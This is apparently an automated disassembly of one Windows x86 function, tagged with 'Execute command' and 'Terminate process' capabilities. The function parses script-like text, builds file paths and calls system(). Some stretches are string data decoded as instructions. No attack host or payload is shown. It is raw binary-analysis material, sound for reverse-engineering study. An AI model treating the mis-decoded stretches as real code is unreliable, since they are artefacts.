Function at 0x46e528
Capabilities:
Execute command
Terminate process

Disassembly:
push dword [0x405190]
push dword [ebp - 0x14]
call dword [sym.imp.kernel32.dll_lstrcpyW]
nop
call fcn.0046e528
and eax, 0x6e006900
add byte [ebx], ah
insb byte es:[edi], dx
add byte [ebp], dh
add byte fs:[ebp], ah
add byte [eax], al
push esi
call dword [sym.imp.shlwapi.dll_StrStrIW]
test eax, eax
je 0x46e820
mov dword [ebp - 0x1c], eax
mov edx, eax
cmp edx, esi
je 0x46e580
cmp word [edx], 0xd
je 0x46e580
sub edx, 2
cmp word [edx], 0x21
je 0x46e577
cmp word [edx], 0x6d
jne 0x46e563
cmp word [edx - 2], 0x65
jne 0x46e563
cmp word [edx - 4], 0x72
je 0x46e577
cmp word [edx], 0x4d
jne 0x46e57e
cmp word [edx - 2], 0x45
jne 0x46e57e
cmp word [edx - 4], 0x52
jne 0x46e57e
call fcn.0046c493
jmp 0x46e501
jmp 0x46e53c
mov edx, eax
xor ecx, ecx
cmp edx, esi
je 0x46e5a2
cmp word [edx], 0xd
je 0x46e5a2
cmp word [edx], 0x22
je 0x46e59a
cmp word [edx], 0x27
jne 0x46e59d
xor ecx, 1
sub edx, 2
jmp 0x46e584
add eax, 0x10
mov esi, eax
test ecx, ecx
jne 0x46e501
call fcn.00472d2d
mov eax, esi
cmp word [eax], 0x22
je 0x46e5c6
cmp word [eax], 0x27
jne 0x46e749
mov dx, word [eax]
add eax, 2
cmp word [eax], 0
je 0x46e5e9
cmp word [eax], 0xd
je 0x46e5e9
cmp word [eax], 0x22
je 0x46e5e9
cmp word [eax], 0x27
je 0x46e5e9
add eax, 2
jmp 0x46e5cc
cmp word [eax], dx
jne 0x46e749
add eax, 2
mov dword [ebp - 0x18], eax
sub eax, esi
test eax, eax
je 0x46e749
shr eax, 1
add eax, 1
mov edi, dword [ebp - 0x10]
push eax
push esi
push edi
call dword [sym.imp.kernel32.dll_lstrcpynW]
call 0x46e622
or dword [eax], eax
and byte [eax], al
and al, byte [eax]
daa
add byte [eax], al
add byte [eax - 1], dl
adc eax, sym.imp.shlwapi.dll_StrTrimW
push edi
call dword [sym.imp.kernel32.dll_lstrlenW]
test eax, eax
je 0x46e749
push edi
call dword [sym.imp.shlwapi.dll_PathFindFileNameW]
push eax
push eax
push 0x4040a8
nop
call 0x46e660
or eax, 0x25000a00
add byte [ebx], dh
and eax, 0x23007300
add byte [ebx], ah
add byte [0xa00], cl
add bh, bh
jne 0x46e657
call dword [sym.imp.user32.dll_wsprintfW]
add esp, 0x10
mov dword [ebp - 4], eax
push dword [ebp - 0x14]
push 0x40409c
call 0x46e690
or eax, 0x25000a00
add byte [ebx], dh
and eax, 0x23007300
add byte [0xa00], cl
add byte [edx], cl
add byte [eax], al
add bh, bh
jne 0x46e68b
call dword [sym.imp.user32.dll_wsprintfW]
add esp, 0x10
add dword [ebp - 4], eax
shl dword [ebp - 4], 1
pop eax
push eax
push dword [ebp - 0x14]
call dword [sym.imp.kernel32.dll_lstrcpyW]
push 0xfde9
push edi
call fcn.00473018
cmp eax, 0xffffffff
jne 0x46e795
mov ebx, dword [0x40519c]
push 0x465210
push ebx
call dword [sym.imp.kernel32.dll_lstrcpyW]
call 0x46e6dc
pop esp
add byte [eax], al
add byte [eax - 1], dl
adc eax, sym.imp.kernel32.dll_lstrcatW
push edi
push eax
call dword [sym.imp.kernel32.dll_lstrcatW]
push 0xfde9
push eax
call fcn.00473018
cmp eax, 0xffffffff
jne 0x46e795
mov ebx, dword [0x40519c]
push 0
push ebx
push 0x104
push dword [0x405154]
call dword [sym.imp.kernel32.dll_GetFullPathNameW]
push ebx
call dword [sym.imp.shlwapi.dll_PathRemoveFileSpecW]
nop
call 0x46e72a
pop esp
add byte [eax], al
add byte [ebx - 1], dl
adc eax, sym.imp.kernel32.dll_lstrcatW
push edi
push eax
call dword [sym.imp.kernel32.dll_lstrcatW]
push 0xfde9
push eax
call fcn.00473018
cmp eax, 0xffffffff
jne 0x46e795
push 0x404150
call dword [sym.imp.msvcrt.dll_wprintf]
add esp, 4
push edi
call dword [sym.imp.kernel32.dll_lstrlenW]
cmp eax, 0
je 0x46e77d
push edi
nop
call 0x46e774
and eax, 0xd007300
add byte [edx], cl
add byte [eax], al
add bh, bh
adc eax, sym.imp.msvcrt.dll_wprintf
add esp, 8
push 0x4040b4
call dword [sym.imp.msvcrt.dll_system]
add esp, 4
mov eax, 0xffffffff
jmp 0x473859
mov ebx, eax
call 0x46e7a0
and byte [eax], al
add byte [eax], al
push eax
call dword [sym.imp.kernel32.dll_lstrcatW]
push eax
call dword [sym.imp.kernel32.dll_lstrlenW]
mov edi, eax
push dword [ebp - 0x18]
call dword [sym.imp.kernel32.dll_lstrlenW]
add edi, eax
add edi, edi
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp + 8]
mov ecx, eax
shr ecx, 1
add ecx, 1
add eax, edi
add eax, 2
add eax, dword [ebp - 4]
push eax
call fcn.0046bf2c
mov edi, dword [ebp + 8]
push ecx
push edi
push eax
call dword [sym.imp.kernel32.dll_lstrcpynW]
push dword [ebp - 0xc]
push eax
call dword [sym.imp.kernel32.dll_lstrcatW]
push ebx
push eax
call dword [sym.imp.kernel32.dll_lstrcatW]
push dword [ebp - 8]
push eax
call dword [sym.imp.kernel32.dll_lstrcatW]
push dword [ebp - 0x18]
push eax
call dword [sym.imp.kernel32.dll_lstrcatW]
push ebx
call fcn.0046bf99
push edi
call fcn.0046bf99
mov dword [ebp + 8], eax
mov esi, eax
jmp 0x46e501
push dword [ebp - 0x14]
call fcn.0046bf99
mov eax, dword [ebp + 8]
pop edi
pop esi
pop edx
pop ecx
pop ebx
leave
ret 4